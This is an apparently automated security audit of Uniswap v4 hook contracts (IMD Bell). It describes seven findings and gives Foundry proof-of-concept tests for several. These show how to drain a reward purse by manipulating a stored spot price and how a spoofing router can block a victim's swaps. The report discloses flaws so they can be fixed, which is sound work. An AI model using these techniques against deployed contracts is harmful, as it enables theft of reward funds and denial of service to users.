# Audit report

> Audit the IMD Bell contracts in src/ at this commit. It answers the eight findings of the audit of commit bc64b98 (job 193411a0-b64c-477e-a785-e57fb254dd91), which itself followed the audit of commit 672a97b (job a300cdb8-36eb-408a-9b46-c8d94d108cda); README.md lists every fix. MarketHoursHook is a Uniswap v4 hook that lets its coin trade only during a daily session: while the market is closed, limit orders wait in two books and each book is filled at one clearing price when a bell rings (opening 12:00 UTC, closing 16:00 UTC). It creates BellGame (sealed commit-reveal guesses at the next opening price, points only, no tokens), BellRinger (rings the due bell, runs that bell's chores and pays the caller a capped reward priced from block.basefee) and SwarmBudget (pays two fixed nightly Intake requests); MarketHoursCoin is a fixed-supply ERC-20. Priorities, first: whether each fix of the last audit holds and whether it opened a new problem — the one-sided deposit-cap weight (marketable orders in full, passive orders down to 1 % at the band's edge) and its stored release; the guess-ticket rules (one guess per wallet per day, at least 5 IMD, only orders that stay in through a bell, none from a cancel); the round-trip guard keyed on the identity a router reports, else the signer; the ring reward priced at the lower of the current ETH/IMD spot and the previous ring's stored spot; the refusal to ring before initialisation; and the ring OVERHEAD of 95,000 gas. Then everything else: any way to lose, lock or steal user funds in the books, cancels, claims, the closed-market exit, refunds of a missed bell, or the fee splits and burns; any way to make a bell impossible to ring, to ring one twice, or to ring it with a manipulated price, including the 120-bucket residual cap, the 10,600,000 gas floor and the 16,777,216 per-transaction gas cap; rounding in the clearing price and in residual pool fills; reward farming or draining of the bell purse; front-running or griefing of the bells and of sealed guesses; and anything the univ4_hook launch policy would refuse at admission. The tests run offline with forge test on Foundry 1.8.3 and 1.5.1.

| | |
|---|---|
| Repository | https://github.com/imdbell/imd-bell-contracts.git |
| Commit | `4eb95e33f901f4b154d42a69cc1ad811fc9a8c0a` |
| Job | `d2e99057-f18f-44d5-852b-53d5bb1b4ca0` |
| Judged | 2026-11-05 02:46 UTC |
| Findings | 2 medium · 3 low · 2 info |

Four agents audited the code as it is at `4eb95e3`, each in one area (math, permissions, economics, control flow),
and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the repository was changed or deployed.

## Findings

### 1. Medium: Ring reward 'lower of spot and stored spot' stores the raw, manipulable spot, so the ring after a moved one is paid at the moved price, up to the 3 IMD cap

`src/BellRinger.sol:281`

```
        if (store) lastSqrtPrice = sp;
```

Merged from audit_economics (a6ab1ef4), audit_math (6b3246f9), audit_permissions (b91ca157) and audit_flow (0b0cf8a6): one root cause. BellRinger._reward (src/BellRinger.sol:280-288) writes the raw in-transaction ETH/IMD spot `sp` into lastSqrtPrice at line 281, before the min at line 284. A ring whose own transaction moves the ETH/IMD pool is paid the stored (honest) price, as the audit-two finding 4 fix intends, but it leaves its moved spot as the stored value. At the next bell (four hours later, or the next day's open) a ring made with the pool moved the same way takes min(moved, moved) = moved and is paid up to RING_REWARD_CAP = 3 IMD instead of its gas. The same actor can ring every bell this way, so every ring after the first pays the cap; the very first ring (lastSqrtPrice == 0) is priced at the spot alone. Every pushBurnRewarded between those rings is also priced at min(spot, moved stored) and can take PUSH_REWARD_CAP. The mirror (store a spot pushed down) makes the next honest ring pay almost nothing, so the next bell has no paid ringer. README's claim ('moving the pool inside the ringing transaction cannot raise the reward') holds for one ring only. Impact: the bell purse (bellPurseBps of every bell fee and of harvested IMD) drains at up to 6 IMD a day plus 0.5 IMD per bridged push, for the cost of moving and restoring the 1 % ETH/IMD pool twice per ring (near zero in a thin pool or a range without liquidity). Fix: store a value the ringer cannot set in its own transaction, e.g. store the priced value (`lastSqrtPrice = min(sp, last)` when last != 0), accepting that it ratchets down (or allow it to rise by a bounded factor per ring), or use a read taken in an earlier block.

**Reproduction**

BellRinger with a stub manager whose extsload(priceSlot) returns a settable slot0 word, purse 1,000 IMD, basefee 1 gwei. Day D 12:00: sqrtP = 20*2^96 (400 IMD/ETH), ring -> 0.065224992e18. Day D 16:00: sqrtP = 1000*2^96 (the ringer moved the pool), ring -> 0.065579502e18 (the min holds this ring) but lastSqrtPrice := 1000*2^96. Day D+1 12:00: sqrtP still 1000*2^96, ring. Expected: the honest price, 0.065224992e18 (as the all-honest control path pays). Actual: 3e18 (RING_REWARD_CAP), 46x. Ran `forge test --match-path test/scratch/RewardEscalation.t.sol` on Foundry 1.8.3: FAIL 'the next ring must be paid the honest price, not the manipulated one: 3000000000000000000 != 65224992000000000'. The proof is the specialist's attached file, run unchanged.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, Vm} from "forge-std/Test.sol";
import {BellRinger} from "src/BellRinger.sol";

contract Tkn {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) {
        require(balanceOf[msg.sender] >= a, "bal");
        balanceOf[msg.sender] -= a;
        balanceOf[to] += a;
        return true;
    }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        require(balanceOf[f] >= a && allowance[f][msg.sender] >= a, "allow");
        allowance[f][msg.sender] -= a;
        balanceOf[f] -= a;
        balanceOf[to] += a;
        return true;
    }
}

contract RingerHook {
    function bells(uint256) external pure returns (int24, bool) { return (0, false); }
    function ringOpen() external {}
    function ringClose() external {}
    fallback() external payable {}
}

contract Mgr {
    bytes32 public slot;
    bytes32 public word;
    function set(bytes32 s, bytes32 w) external { slot = s; word = w; }
    function extsload(bytes32 s) external view returns (bytes32) { return s == slot ? word : bytes32(0); }
}

/// The ringer's reward price: the lower of the live spot and the spot the last ring stored. The stored spot is the raw
/// read, so a ring that is paid the lower (honest) price still stores the manipulated high price; the next ring is then
/// paid at the high price, up to the cap. The test asserts the honest outcome (the second ring is paid at the honest
/// price); it fails on the current code and passes once the stored price is the lower of the two.
contract RewardEscalationTest is Test {
    Tkn internal imd;
    RingerHook internal hook;
    Mgr internal mgr;
    BellRinger internal r;

    uint256 internal constant DAY = 20_400;
    uint256 internal constant OPEN = 43_200;
    uint256 internal constant CLOSE = 57_600;
    uint256 internal constant HONEST_X = 20; // sqrt price 20 x 2^96: 400 IMD per ETH
    uint256 internal constant MOVED_X = 1_000; // 1,000,000 IMD per ETH

    function setUp() public {
        imd = new Tkn();
        hook = new RingerHook();
        mgr = new Mgr();
        r = new BellRinger(address(hook), address(this), address(this), address(this), address(imd), address(mgr), 7, 0);
        imd.mint(address(r), 1_000e18);
        vm.fee(1 gwei);
        vm.txGasPrice(1 gwei);
        vm.warp(DAY * 1 days + OPEN);
        vm.roll(1);
    }

    function _price(uint256 x) internal {
        mgr.set(keccak256(abi.encode(r.ethImdPoolId(), bytes32(uint256(6)))), bytes32(x << 96));
    }

    function _ring() internal returns (uint256 paid) {
        vm.recordLogs();
        r.ring{gas: 3_000_000}();
        Vm.Log[] memory lg = vm.getRecordedLogs();
        for (uint256 i; i < lg.length; ++i) {
            if (lg[i].emitter == address(r) && lg[i].topics[0] == BellRinger.Rewarded.selector) {
                (paid,) = abi.decode(lg[i].data, (uint256, bool));
                return paid;
            }
        }
        fail();
    }

    function _open(uint256 d, uint256 x) internal returns (uint256) {
        vm.warp(d * 1 days + OPEN);
        vm.roll(block.number + 1);
        _price(x);
        return _ring();
    }

    function _close(uint256 d, uint256 x) internal returns (uint256) {
        vm.warp(d * 1 days + CLOSE);
        vm.roll(block.number + 1);
        _price(x);
        return _ring();
    }

    function test_twoRingsPayTheMovedPriceOnTheSecond() public {
        uint256 snap = vm.snapshotState();

        // honest path: open 400, close 400, next open 400
        uint256 o0 = _open(DAY, HONEST_X);
        uint256 c0 = _close(DAY, HONEST_X);
        uint256 n0 = _open(DAY + 1, HONEST_X);
        assertGt(n0, 0, "precondition: the honest next open is paid");

        vm.revertToState(snap);

        // moved path: the close is rung at 1,000,000 IMD/ETH
        uint256 o1 = _open(DAY, HONEST_X);
        uint256 c1 = _close(DAY, MOVED_X);
        uint256 n1 = _open(DAY + 1, MOVED_X);

        emit log_named_uint("honest next open (wei IMD)", n0);
        emit log_named_uint("moved close (wei IMD)", c1);
        emit log_named_uint("moved next open (wei IMD)", n1);
        assertEq(o0, o1, "the open is the same");
        assertEq(c0, c1, "the moved close is paid the last ring's honest price");
        // the defect: the moved close stored its own read, so the next ring is paid at 1,000,000 IMD/ETH
        assertEq(n1, n0, "the next ring must be paid the honest price, not the manipulated one");
        assertLe(n1, r.RING_REWARD_CAP(), "the escalated reward is capped at 3 IMD");
    }
}
```

### 2. Medium: Round-trip guard keys on an unauthenticated msgSender(): any contract can report a victim and spend the victim's swap direction for the block (introduced by the audit-two finding 3 fix)

`src/MarketHoursHook.sol:1069`

```
                if and(iszero(shr(160, w)), iszero(iszero(w))) { id := w }
```

Merged from audit_flow (597c710f), audit_math (8957ba80) and audit_permissions (fc042387). _roundTrip (src/MarketHoursHook.sol:1062-1076) takes the identity from whatever the swap's `sender` (any contract that unlocked the PoolManager and called swap) returns from msgSender(), and writes lastSwap[id] = (block.number << 1) | dir. Nothing ties that answer to the signer or payer, so any deployed contract can write the direction slot of any account. Under the previous key (tx.origin) only the signer could spend its own slot. The victim's normal paths (a router that reports the victim, or one that reports nothing so id = tx.origin = victim) both resolve to the same key, so one 1-wei swap per block in the opposite direction, reported as the victim, makes every swap of the victim in the wanted direction revert with RoundTrip for that block. One transaction can do this for many victims, and it can be repeated each block of the session (e.g. to keep a holder from selling, or to block an arbitrageur ahead of a move); the victim is left with the closing book or emergencyExit's 5 % penalty. No funds are taken. The same mechanism lets anyone with their own router report a fresh identity per swap and skip the guard. Fix that keeps the stated design: scope a reported identity to the router reporting it, e.g. key lastSwap on keccak256(abi.encode(sender, reported)) when msgSender() answers and on tx.origin otherwise, so a router can only spend directions in its own namespace.

**Reproduction**

Self-contained harness: PoolManager, the hook CREATE2-mined at a beforeInitialize|beforeSwap address, pool (coin, IMD) initialised at tick 0 by the factory, a two-sided position [-6000, 6000) L = 1e24, day D 12:00 ringOpen(), next block. Tx 1 (signer = attacker): SpoofRouter.swapAs(victim, key, SwapParams(zeroForOne=true, amountSpecified=-1, MIN_SQRT_PRICE+1)) - a 1-wei swap paid from the router's own balance, with msgSender() answering victim; lastSwap[victim] = (N<<1)|1. Tx 2 (signer = victim): PoolSwapTest.swap oneForZero, exact input 1e18 (PoolSwapTest has no msgSender(), so id = tx.origin = victim). Expected: the victim's first swap of the block goes through. Actual: reverts, the revert data carries RoundTrip(). Ran `forge test --match-path test/scratch/RoundTripSpoof.t.sol` on Foundry 1.8.3: test_strangerCannotSpendTheVictimsDirection FAILS ('victim refused with RoundTrip by a stranger's swap'); test_control_ownRoundTripStillRefused (the victim's own round trip is still refused) PASSES, and keeps passing under the proposed (sender, reported) key.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {MarketHoursHook} from "src/MarketHoursHook.sol";
import {MarketHoursCoin} from "src/MarketHoursCoin.sol";

interface IERC20S {
    function transfer(address, uint256) external returns (bool);
    function approve(address, uint256) external returns (bool);
}

/// A router anyone can deploy: it pays from its own balance and answers msgSender() with whatever address it is told.
contract SpoofRouter is IUnlockCallback {
    IPoolManager internal immutable manager;
    address public msgSender;

    constructor(IPoolManager m) {
        manager = m;
    }

    function swapAs(address reported, PoolKey memory key, IPoolManager.SwapParams memory p) external {
        msgSender = reported;
        manager.unlock(abi.encode(key, p));
        msgSender = address(0);
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (PoolKey memory key, IPoolManager.SwapParams memory p) = abi.decode(data, (PoolKey, IPoolManager.SwapParams));
        BalanceDelta d = manager.swap(key, p, "");
        _settle(key.currency0, d.amount0());
        _settle(key.currency1, d.amount1());
        return "";
    }

    function _settle(Currency c, int128 amt) internal {
        if (amt < 0) {
            manager.sync(c);
            IERC20S(Currency.unwrap(c)).transfer(address(manager), uint128(-amt));
            manager.settle();
        } else if (amt > 0) {
            manager.take(c, address(this), uint128(amt));
        }
    }
}

contract RoundTripSpoofTest is Test {
    uint256 internal constant D = 20_400;
    PoolManager internal manager;
    MarketHoursHook internal hook;
    MarketHoursCoin internal coin;
    MarketHoursCoin internal imd;
    PoolKey internal key;
    PoolSwapTest internal router;
    SpoofRouter internal spoof;
    address internal victim = makeAddr("victim");
    address internal attacker = makeAddr("attacker");

    function setUp() public {
        vm.warp(D * 1 days + 1 hours);
        manager = new PoolManager(address(this));
        coin = new MarketHoursCoin("Coin", "C");
        imd = new MarketHoursCoin("IMD", "IMD");
        MarketHoursHook.Params memory p;
        p.manager = manager;
        p.factory = address(this);
        p.imd = address(imd);
        p.coin = address(coin);
        p.feeWallet = address(0xFEE);
        p.burnExecutor = address(0xB0);
        p.launchFees = address(0x1F);
        p.intake = address(0x17);
        p.maxBlockMoveBps = 100;
        p.maxSwapImd = 1e30;
        (p.networkBps, p.feeWalletBps, p.swarmFeeBps, p.burnBps, p.bellPurseBps) = (2000, 2000, 2000, 2000, 2000);
        p.launchNumber = 1;
        bytes memory init = abi.encodePacked(type(MarketHoursHook).creationCode, abi.encode(p));
        bytes32 h = keccak256(init);
        uint160 flags = (1 << 13) | (1 << 7); // beforeInitialize | beforeSwap
        bytes32 salt;
        for (uint256 i;; ++i) {
            address a = vm.computeCreate2Address(bytes32(i), h, address(this));
            if (uint160(a) & ((1 << 14) - 1) == flags) {
                salt = bytes32(i);
                break;
            }
        }
        address at;
        assembly {
            at := create2(0, add(init, 0x20), mload(init), salt)
        }
        require(at != address(0), "deploy");
        hook = MarketHoursHook(at);
        key = hook.poolKey();
        manager.initialize(key, TickMath.getSqrtPriceAtTick(0)); // this test is the factory

        PoolModifyLiquidityTest lp = new PoolModifyLiquidityTest(manager);
        router = new PoolSwapTest(manager);
        coin.approve(address(lp), type(uint256).max);
        imd.approve(address(lp), type(uint256).max);
        lp.modifyLiquidity(key, IPoolManager.ModifyLiquidityParams(-6000, 6000, 1e24, 0), "");

        spoof = new SpoofRouter(manager);
        coin.transfer(address(spoof), 1e18);
        imd.transfer(address(spoof), 1e18);
        coin.transfer(victim, 100e18);
        imd.transfer(victim, 100e18);
        vm.startPrank(victim);
        coin.approve(address(router), type(uint256).max);
        imd.approve(address(router), type(uint256).max);
        vm.stopPrank();

        vm.warp(D * 1 days + 12 hours);
        hook.ringOpen();
        vm.roll(block.number + 1);
    }

    function _victimSwap(bool zfo) internal returns (bool ok, bytes memory e) {
        IPoolManager.SwapParams memory sp =
            IPoolManager.SwapParams(zfo, -1e18, zfo ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1);
        vm.prank(victim, victim);
        (ok, e) = address(router).call(
            abi.encodeCall(PoolSwapTest.swap, (key, sp, PoolSwapTest.TestSettings(false, false), ""))
        );
    }

    function _has(bytes memory e, bytes4 sel) internal pure returns (bool) {
        for (uint256 i; i + 4 <= e.length; ++i) {
            if (e[i] == sel[0] && e[i + 1] == sel[1] && e[i + 2] == sel[2] && e[i + 3] == sel[3]) return true;
        }
        return false;
    }

    /// A stranger's router reports the victim and spends the victim's direction: the victim's own first swap of the
    /// block, signed by the victim, must still go through.
    function test_strangerCannotSpendTheVictimsDirection() public {
        bool zfoAttack = true;
        vm.prank(attacker, attacker);
        spoof.swapAs(
            victim, key, IPoolManager.SwapParams(zfoAttack, -1, TickMath.MIN_SQRT_PRICE + 1)
        );
        (bool ok, bytes memory e) = _victimSwap(!zfoAttack);
        assertFalse(_has(e, MarketHoursHook.RoundTrip.selector), "victim refused with RoundTrip by a stranger's swap");
        assertTrue(ok, "victim's swap failed");
    }

    /// CONTROL: the victim's own round trip in one block is refused, with or without the fix.
    function test_control_ownRoundTripStillRefused() public {
        (bool ok1,) = _victimSwap(true);
        assertTrue(ok1, "first swap");
        (bool ok2, bytes memory e2) = _victimSwap(false);
        assertFalse(ok2, "round trip allowed");
        assertTrue(_has(e2, MarketHoursHook.RoundTrip.selector), "refused by RoundTrip");
    }
}
```

### 3. Low: BellGame.reveal accepts a guess off the 60-tick grid; floor division then makes one sealed guess an exact hit for two adjacent buckets, defeating one-guess-per-wallet

`src/BellGame.sol:168`

```
        uint256 dist = uint256(diff < 0 ? -diff : diff) / uint256(uint24(TS));
```

From audit_flow (107b8ca5). A guess is meant to be a bucket on the 60-tick grid (`guess = bucket + OFFSET`, BellGame.sol:57-59, 105-106), but neither commit nor reveal checks (guess - OFFSET) % 60 == 0 (or guess <= 2*OFFSET), and reveal (line 166-168) turns the tick difference into buckets by rounding down. ds.scored is always on the grid, so a guess at B + r with 0 < r < 60 is at distance 0 from both B and B + 60, distance 1 from B - 60 and B + 120, and so on: every rank covers two buckets for one sealed guess and one ticket. That defeats the audit-two finding 5 rule (OneGuessPerDay, one bucket per wallet per day) at no cost, and an off-grid guess weakly dominates either on-grid neighbour, so honest wallets guessing on the grid lose ties and ranks they would otherwise hold. Points only, no tokens. The Scored event also emits int24(bucket), an off-grid and, for a huge guess, truncated value. Fix: in reveal, refuse a guess that is not a bucket: require guess <= uint256(2 * OFFSET) and (int256(guess) - OFFSET) % 60 == 0, else BadReveal.

**Reproduction**

BellGame against a stub of the four hook views (ticketPaid true). Day D 13:00, bob commits on order 1 (book 2D+1) c = keccak256(abi.encode(uint256(30 + 887280), salt, bob, D+1)), tick 30, which is not a bucket. Day D+1 12:00 the bell rings with pStar = scored bucket; at 12:31 settle(D+1); bob reveals. With scored = 0: diff = 30, dist = 0. With scored = 60: diff = -30, dist = 0. Expected: the reveal is refused, or at most one bucket is at distance 0. Actual: accepted at distance 0 for both. Ran `forge test --match-path test/scratch/OffGrid.t.sol` on Foundry 1.8.3: FAIL 'tick 30 scored distance 0 against bucket 0 and against bucket 60'. The proof is the specialist's attached file, run unchanged.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {BellGame} from "src/BellGame.sol";

/// The four views BellGame reads from the hook, with settable answers.
contract StubHook {
    struct O {
        address owner;
        uint256 s;
    }

    mapping(uint256 => O) internal orders;
    int24 internal pStar;
    uint256 internal openedAt;

    function setOrder(uint256 id, address owner, uint256 s) external {
        orders[id] = O(owner, s);
    }

    function setOpen(int24 p, uint256 at) external {
        pStar = p;
        openedAt = at;
    }

    function orderInfo(uint256 id) external view returns (address, uint256, bool, int24, uint256) {
        return (orders[id].owner, orders[id].s, true, int24(0), uint256(5e18));
    }

    function ticketPaid(uint256) external pure returns (bool) {
        return true;
    }

    function sessionMean() external view returns (int256, uint256, uint256, bool) {
        return (int256(0), uint256(0), openedAt, false);
    }

    function bells(uint256) external view returns (int24, bool, bool, uint64, uint64, uint64) {
        return (pStar, openedAt != 0, false, uint64(0), uint64(0), uint64(0));
    }
}

contract OffGridGuessTest is Test {
    uint256 internal constant D = 20_000;
    int256 internal constant OFFSET = 887_280;
    address internal bob = address(0xB0B);

    /// One wallet, one paid ticket, one sealed guess at `guessedTick`; the next open settles at `settledBucket`.
    function _reveal(int256 guessedTick, int24 settledBucket) internal returns (bool accepted, uint32 dist) {
        StubHook hook = new StubHook();
        BellGame game = new BellGame(address(hook), false);
        vm.warp(D * 1 days + 13 hours);
        hook.setOrder(1, bob, 2 * D + 1);
        uint256 guess = uint256(guessedTick + OFFSET);
        bytes32 salt = keccak256("salt");
        vm.prank(bob);
        game.commit(1, keccak256(abi.encode(guess, salt, bob, D + 1)));
        uint256 bell = (D + 1) * 1 days + 12 hours;
        hook.setOpen(settledBucket, bell);
        vm.warp(bell + 31 minutes);
        game.settle(D + 1);
        vm.prank(bob);
        try game.reveal(1, guess, salt) {
            accepted = true;
            dist = game.distOf(D + 1, bob);
        } catch {}
    }

    /// A sealed guess names one bucket: the same value may not be an exact hit (distance 0) for two different buckets.
    function test_oneSealedGuessIsNotExactForTwoBuckets() public {
        (bool ok0, uint32 d0) = _reveal(30, 0);
        (bool ok1, uint32 d1) = _reveal(30, 60);
        assertFalse(ok0 && d0 == 0 && ok1 && d1 == 0, "tick 30 scored distance 0 against bucket 0 and against bucket 60");
    }
}
```

### 4. Low: A free swap into the liquidity void below the launch seed is sampled as a price: one block moves the game's settled open and the next book's reference by ~887,272/n ticks

`src/MarketHoursHook.sol:1036`

```
            cp.tickSum += int48(tick);
```

From audit_flow (96b39320). _breaker (src/MarketHoursHook.sol:1030-1038) adds the pool tick at the first swap of each block to the session counters whatever that tick is. _scan (610-621) turns their mean into the next book's reference, and BellGame.settle turns the same counters into the day's scored bucket. When spot sits on the lower edge of the pool's liquidity (the launch seed is coin-only above the launch price, so this holds from launch until the first buy, and again whenever the price returns there), an exact-input sell of dust moves spot to its price limit (tick -887,272) while consuming nothing, and the next block's first swap (anyone's, including the attacker's own dust buy back) samples that tick. With n samples in the session the mean moves by about 887,272/n ticks. Effects: (1) BellGame scores the day at a bucket nobody traded near; (2) the closing bell sets the next opening book's reference far from the market, so placeOrder refuses every bucket near the real price (BadBucket) and sells are valued at the far reference (BelowMinOrder): that book is dead for the day; (3) for the rest of the dust-seller's block other swaps revert with PriceMoved. The ±875,220 clamp from the first audit keeps the bell priceable but does not stop the sample. Cost: two dust swaps and their gas. Fix that keeps the design: do not sample a price nothing can trade at, e.g. skip the counters (and the stored checkpoint price) when the pool's in-range liquidity is zero (StateLibrary.getLiquidity), or hold each sample within maxBlockMoveBps of the previous one.

**Reproduction**

Self-contained harness (PoolManager, hook CREATE2-mined at its flag address, pool initialised by the factory at bucket 0, launch-style coin-only seed over buckets [0, 12000), L = 1e24). Day D 12:00 ringOpen(); next block: PoolSwapTest dust sell of 1e15 coin, no price limit (samples tick 0, spot goes to the minimum tick, nothing spent); next block: dust buy of 1e15 IMD (its block's first swap samples -887,272). sessionMean() = (tickSum -887,272, tickCount 2). 12:31 game.settle(D); 16:00 ringClose(). Expected: scored bucket and next book's reference near 0, the only price traded. Actual (forge test --match-path test/scratch/Others.t.sol --match-test test_voidSample, Foundry 1.8.3, logs): 'game scored bucket: -443640', 'next book reference: -443640'; the assertion |scored| < 12,000 fails with 443640 >= 12000. With the reference at -443,640 the band is [-455,640, -431,640], so an order at bucket 0 reverts BadBucket.

### 5. Low: Initial reference is not clamped like the bell's: a launch price at \|tick\| >= 887,251 sets lastCleared to ±887,280, beyond MAX_TICK, and the opening bell can never ring

`src/MarketHoursHook.sol:996`

```
        lastCleared = _nearestBucket(imdIs0 ? -int256(tick) : int256(tick));
```

From audit_math (79016514), with its impact corrected by reproduction. _scan clamps the pool-derived reference to ±875,220 (lines 618-619), but beforeInitialize sets lastCleared from the initial tick with no clamp. For an initial bucket in [887,251, 887,272] (or the mirror) _nearestBucket rounds to 887,280, one bucket past TickMath.MAX_TICK. The specialist said the first bell still rings and resets the reference; it does not. With no checkpoint (no swap can happen before the opening bell, beforeSwap reverts AwaitingBell), _scan's zero-match path takes r.a = lastCleared unclamped, r.p = 887,280, and _ring's `_sqrtAt(r.p)` (line 653) reverts InvalidTick. lastCleared changes only in _ring and checkpoints only in beforeSwap, so the bell never rings and the market never opens: the pool is dead for good. Sells into the first book revert (InvalidTick); buys are accepted (a buy needs no price) and are refunded whole after the deadline, so order funds are not lost, and LPs can still withdraw. Precondition: the factory initialises at an extreme price (about 1.0001^887,251 IMD per coin, or its inverse), so this is low; the same unclamped reference also lets buckets above MAX_TICK into a band whose reference is within 12,000 ticks of the edge. Fix: clamp the initial reference as _scan does (to ±875,220), or refuse such an initial price in beforeInitialize.

**Reproduction**

Self-contained harness: pool initialised by the factory at bucket 887,260 (tick 887,260 or -887,260 by orientation). lastCleared() = 887,280. Day D 01:00: placeOrder(2D, buy=true, 887280, 1e18) succeeds; placeOrder(2D, buy=false, 887280, 1e18) reverts InvalidTick(887280). Day D 12:00: ringOpen(). Expected: the bell rings (and every later bell can ring). Actual: reverts with 0x8b86327a...0d89f0 = InvalidTick(887280). Ran `forge test --match-path test/scratch/Others.t.sol --match-test test_initial` on Foundry 1.8.3: fails 'the opening bell cannot ring, and no swap can run before it does' with that revert data logged.

### 6. Info: _roundTrip's reply-length check reads the previous call's return size (Yul evaluates and()'s arguments right to left), so a reply shorter than a word is taken as an identity

`src/MarketHoursHook.sol:1067`

```
            if and(staticcall(gas(), sender, 0, 4, 0, 32), gt(returndatasize(), 31)) {
```

From audit_flow (3a9d2139). Yul evaluates a built-in's arguments right to left, so gt(returndatasize(), 31) runs before the staticcall, on the 32-byte reply of the manager's extsload in getSlot0 (beforeSwap line 1010). The length test is always true; the msgSender() reply is never length-checked, contrary to the comment at lines 1057-1061. A successful reply of 13..31 bytes whose first 12 bytes are zero is combined with the zero bytes left in scratch space and taken as an identity. No funds at risk (a router can report any address anyway, see the round-trip finding), but the guard's stated rule does not hold. BellRinger line 273 is fine because `ok` is computed in an earlier statement. Fix: `let ok := staticcall(gas(), sender, 0, 4, 0, 32)` first, then `if and(ok, gt(returndatasize(), 31))`.

**Reproduction**

A router whose fallback returns 20 bytes (12 zero bytes then eight 0x11 bytes) swaps 1 wei through the pool during the session. Expected (comment at lines 1057-1061): a reply shorter than a word is no answer, id = tx.origin. Actual: lastSwap(0x1111111111111111000000000000000000000000) = (block << 1) | 1 = 5, and tx.origin's slot is untouched. Ran `forge test --match-path test/scratch/Others.t.sol --match-test test_shortMsgSender` on Foundry 1.8.3: fails 'a 20-byte reply was taken as an identity: 5 != 0'.

### 7. Info: A guess ticket at the band's passive edge costs 0.025 IMD and counts 0.05 IMD toward the cap, so fresh wallets still buy one sealed guess per bucket cheaply

`src/MarketHoursHook.sol:363`

```
        orders[orderId] = Order(msg.sender, uint40(s), buy, false, false, imdValue >= TICKET_MIN, bucket, amount);
```

From audit_permissions (e753b543), kept as info. The audit-two finding 5 fix requires 5 IMD of value, an order kept through a rung bell, and one guess per wallet per day. A 5 IMD buy at ref - 12,000 (or a sell at ref + 12,000) meets all three. The bell never reaches it, so at claim it pays only the 0.5 % unfilled-order fee (line 477), 0.025 IMD, and gets the rest back. It counts only 1 % of its value (0.05 IMD) toward the deposit cap (line 351), so even the launch-week 1,000 IMD cap admits 20,000 of them without crowding real orders. Using one fresh wallet per bucket, covering the 41 buckets within ±1,200 ticks costs 41 x 0.025 = 1.025 IMD plus gas and 205 IMD of capital held for a few hours, and the matching wallet reveals after settle, which is the finding-5 pattern spread over wallets. Points only, and Sybil wallets are a limit of any per-wallet rule, so this is informational. It does show that the 5 IMD 'real stake' is only locked capital, with 0.025 IMD actually spent. If more is wanted: base the ticket on what the order counted (countedOf >= TICKET_MIN), or require the order to sit within a few buckets of the reference or to fill something.

**Reproduction**

Harness pool at reference 0. Day D 01:00: placeOrder(2D, buy=true, bucket=-12000, 5e18). Then bookImdTotal(2D) = 0.05e18. 12:00 ringOpen(); claim(id). Result: ticketPaid(id) = true, net cost to the owner 25,000,000,000,000,000 wei IMD (0.025 IMD). Ran `forge test --match-path test/scratch/Others.t.sol --match-test test_edgeTicketCost` on Foundry 1.8.3 (passes; logs 'counted toward cap: 50000000000000000', 'ticketPaid: 1', 'cost of the ticket (wei IMD): 25000000000000000').

---

Judge's submission `643765c72cbec0f186344044aac3a2fadc2e80672a12a402d858d92d5b49241d`, accepted on the IdentityMD network. Acceptance means the report met the job's checks;
it is not a guarantee that the code has no other defects.
